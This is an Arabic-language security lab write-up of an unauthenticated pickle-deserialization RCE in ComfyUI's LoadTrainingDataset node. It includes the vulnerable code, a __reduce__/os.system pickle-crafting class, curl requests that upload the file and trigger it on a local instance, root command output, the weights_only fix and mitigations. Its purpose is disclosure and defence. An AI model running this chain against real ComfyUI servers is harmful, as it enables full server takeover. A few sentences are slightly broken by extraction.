
مختبر أبحاث أمني — تنفيذ تعليمات برمجية عن بُعد (RCE) دون مصادقة عبر إلغاء التسلسل غير الآمن في ComfyUI v0.23.0 (CVSS 9.8). بيئة Docker معزولة، تحليل تقني وتوثيق.
لأغراض تعليمية فقط. لا تستخدمه إلا ضد الأنظمة التي تملكها أو لديك تفويض كتابي صريح لاختبارها.
ComfyUI هي واجهة رسومية مفتوحة المصدر قائمة على العُقد لتشغيل نماذج توليد الصور والفيديو بالذكاء الاصطناعي محليًا. تتيح للمستخدمين بناء خطوط توليد معقدة عبر ربط العُقد بصريًا — حيث تمثل كل عقدة عملية مثل تحميل نموذج، أو ترميز نصوص التوجيه، أو أخذ العينات، أو المعالجة اللاحقة للصور. وقد جعلتها مرونتها ودعمها لمجموعة واسعة من النماذج (Stable Diffusion وFlux وHunyuanVideo وغيرها) واحدة من أكثر الأدوات اعتمادًا في مجتمع توليد الذكاء الاصطناعي.
يوفّر التطبيق واجهة برمجة تطبيقات HTTP محلية على المنفذ 8188، تتواصل من خلالها الواجهة الأمامية مع الخلفية لرفع الأصول ووضع سير عمل التوليد في قائمة الانتظار. ورغم أنه مصمم للاستخدام المحلي أحادي المستخدم، فمن الشائع العثور على نسخ ComfyUI مكشوفة على الشبكات الداخلية أو مباشرة على الإنترنت — في بيئات GPU السحابية، أو إعدادات البحث المشتركة، أو الاستوديوهات الإبداعية المستضافة ذاتيًا — غالبًا دون أي طبقة مصادقة إضافية، وهو ما يطابق تمامًا نموذج التهديد الذي تستهدفه هذه الثغرة.
عند وقت الإفصاح، كان لدى ComfyUI أكثر من 65,000 نجمة على GitHub ومنظومة نشطة من العُقد والامتدادات المخصصة، وكثير منها يضيف سطح هجوم إضافي يتجاوز التطبيق الأساسي.
CVE-2026-68771 هي ثغرة إلغاء تسلسل غير آمن (CWE-502) في ComfyUI v0.23.0 تتيح لمهاجم عن بُعد غير مُصادَق تنفيذ تعليمات برمجية عشوائية على الخادم. تجمع سلسلة الهجوم بين نقطتي نهاية غير مُصادَقتين: POST /upload/image لرفع ملف pickle خبيث، و لتحفيز إلغاء تسلسله عبر عقدة .
POST /promptLoadTrainingDataset| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-68771 |
| CVSS 3.1 | 9.8 (حرجة) |
| المتجه | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 (إلغاء تسلسل البيانات غير الموثوقة) |
| الإصدار المصاب | ComfyUI v0.23.0 (وما قبله بدون الإصلاح) |
| الإصدار المُصلَّح | Commit 94ee49b1612824366a8631ea069b2a1fa5c73720 |
| تاريخ النشر | 31 يوليو 2026 |
weights_only)POST /upload/image — server.py، الأسطر 450-453:
@routes.post("/upload/image")
async def upload_image(request):
post = await request.post()
return image_upload(post) # no session or token verification
POST /prompt — server.py، الأسطر 927-928:
@routes.post("/prompt")
async def post_prompt(request):
logging.info("got prompt")
json_data = await request.json()
# no session or token verification
...
self.prompt_queue.put((number, prompt_id, prompt, ...))
لا تطبّق أي من نقطتي النهاية أي تحكم في الوصول. يمكن لأي عميل HTTP رفع الملفات ووضع سير العمل في قائمة الانتظار دون مصادقة.
LoadTrainingDataset.execute()comfy_extras/nodes_dataset.py، السطر 1568:
@classmethod
def execute(cls, folder_name):
dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
for shard_file in shard_files:
shard_path = os.path.join(dataset_dir, shard_file)
with open(shard_path, "rb") as f:
shard_data = torch.load(f) # ← VULNERABLE: weights_only not specified
يستخدم torch.load() بدون weights_only=True بروتوكول pickle في Python لإلغاء تسلسل الملف. وpickle ليس صيغة بيانات — بل هو بروتوكول تسلسل كائنات Python ينفّذ طريقة __reduce__ لأي كائن أثناء إلغاء التسلسل، مما يتيح تنفيذ تعليمات برمجية عشوائية.
اعتمدت العقدة على الافتراضي التاريخي لـ PyTorch (weights_only=False)، مما جعلها الاستدعاء الوحيد لـ torch.load في قاعدة الشيفرة بأكملها بدون المعامل الصريح. أما بقية قاعدة الشيفرة (comfy/utils.py، comfy/sd1_clip.py) فقد كانت تمرّره بشكل صحيح بالفعل.
Attacker (unauthenticated)
[0] CRAFT MALICIOUS PICKLE
└─ Serialize a Python object with __reduce__ returning (os.system, ("cmd",))
└─ PyTorch's torch.save() format wraps it in a valid .pkl container
└─ Output: shard_0000.pkl — valid filename pattern expected by LoadTrainingDataset
│
▼
[1] POST /upload/image
└─ Upload shard_0000.pkl (pickle with malicious __reduce__)
└─ Parameters: type=output, subfolder=cve_test
└─ Response: 200 OK {"name":"shard_0000.pkl", ...}
└─ File lands at: /opt/comfyui/output/cve_test/shard_0000.pkl
│
▼
[2] POST /prompt
└─ JSON workflow with LoadTrainingDataset node
└─ folder_name: "cve_test" → points to the folder containing the uploaded .pkl
└─ Response: 200 OK {"prompt_id": "...", "node_errors": {}}
│
▼
[3] LoadTrainingDataset.execute()
└─ Locates shard_0000.pkl in the directory
└─ torch.load(f) → deserializes the pickle
└─ __reduce__ executes: os.system("id > /tmp/pwned.txt")
│
▼
[4] RCE as root
└─ uid=0(root) gid=0(root) groups=0(root)
يستغل الحمولة بروتوكول pickle reduce في Python. عندما يُلغي torch.load() تسلسل الملف، يُنشئ Python الكائن عبر استدعاء الدالة القابلة للاستدعاء التي يعيدها reduce، منفّذًا الأمر الذي يتحكم فيه المهاجم قبل تشغيل أي منطق للتطبيق.
يجب أن يطابق اسم الملف النمط shard_*.pkl — وهو مُثبَّت في LoadTrainingDataset.execute() كمرشّح لاكتشاف الملفات:
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
pickle_craft.py:
class Exploit:
def __reduce__(self):
return (os.system, (args.cmd,))
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"
المخرجات:
[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image
curl -s -X POST http://127.0.0.1:8188/upload/image \
-F "image=@shard_0000.pkl;type=application/octet-stream" \
-F "type=output" \
-F "subfolder=cve_test"
الاستجابة:
{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}
HTTP 200 بدون رمز، بدون جلسة، بدون ترويسات خاصة.
curl -s -X POST http://127.0.0.1:8188/prompt \
-H "Content-Type: application/json" \
-d '{
"prompt": {
"1": {
"class_type": "LoadTrainingDataset",
"inputs": { "folder_name": "cve_test" }
},
"2": {
"class_type": "SaveTrainingDataset",
"inputs": {
"latents": ["1", 0],
"conditioning": ["1", 1],
"folder_name": "cve_test_out",
"shard_size": 1000
}
}
}
}'
الاستجابة:
{"prompt_id": "1dbf8fd8-c149-41b3-a839-935cb2d408b4", "number": 1, "node_errors": {}}
root@73df6d3d11eb:/opt/comfyui# cat /tmp/pwned.txt
uid=0(root) gid=0(root) groups=0(root)
الملف: comfy_extras/nodes_dataset.py
المؤلف: Matt Miller
التاريخ: 18 يونيو 2026
PR: #14543
- shard_data = torch.load(f)
+ shard_data = torch.load(f, weights_only=True)
معامل واحد. يوجّه weights_only=True مكتبة PyTorch لاستخدام مُلغِي تسلسل مقيّد يقبل فقط التنسورات وأنواع Python الأولية، ويرفض أي كائن عشوائي يحتوي على __reduce__.
تلخّص رسالة الـ commit ذلك بوضوح:
"LoadTrainingDataset was the only torch.load call in the codebase without weights_only=True; comfy/utils.py and comfy/sd1_clip.py already pass it. Recent PyTorch defaults to weights_only=True, so this is defense-in-depth for installs pinned to older PyTorch."
ملاحظة حول إصدار PyTorch: بدءًا من PyTorch 2.6، تغيّرت القيمة الافتراضية لـ weights_only من False إلى True، مما يخفف الثغرة في تثبيتات PyTorch الحديثة حتى بدون إصلاح الشيفرة. تؤثر الثغرة بشكل خاص على التثبيتات التي تعمل بـ PyTorch < 2.6، وهو ما كان بيئة الإنتاج النموذجية عند نشرها في يوليو 2026.
حدّث ComfyUI إلى commit 94ee49b أو أحدث. سطر واحد من الشيفرة.
1. المصادقة على نقاط نهاية API
صُمّمت ComfyUI للاستخدام المحلي. إذا كُشفت على شبكة، فيجب حمايتها عبر وكيل عكسي (nginx/Caddy) مع مصادقة أساسية، أو باستخدام علم --multi-user مع إدارة جلسات مناسبة.
2. لا تكشف ComfyUI مباشرة على الإنترنت أبدًا
يفترض تصميم التطبيق بيئة محلية موثوقة. يعكس تقييم CVSS 9.8 الغياب التام لضوابط الوصول على طبقة التطبيق.
3. التحقق من نوع الملف عند الرفع
تقبل نقطة النهاية /upload/image أي امتداد ملف بما في ذلك .pkl. ينبغي لها التحقق من نوع المحتوى والامتداد مقابل قائمة بيضاء بصيغ الصور الفعلية.
torch.load الأخرى كانت تمرّره بالفعل) إلى أن هذه العقدة أُضيفت دون مراجعة أمنية.weights_only؛ وقد وُجدت الشيفرة المصابة طوال تلك الفترة.أُجري التحليل في بيئة معزولة لأغراض تعليمية. تم تدمير المختبر بعد التوثيق.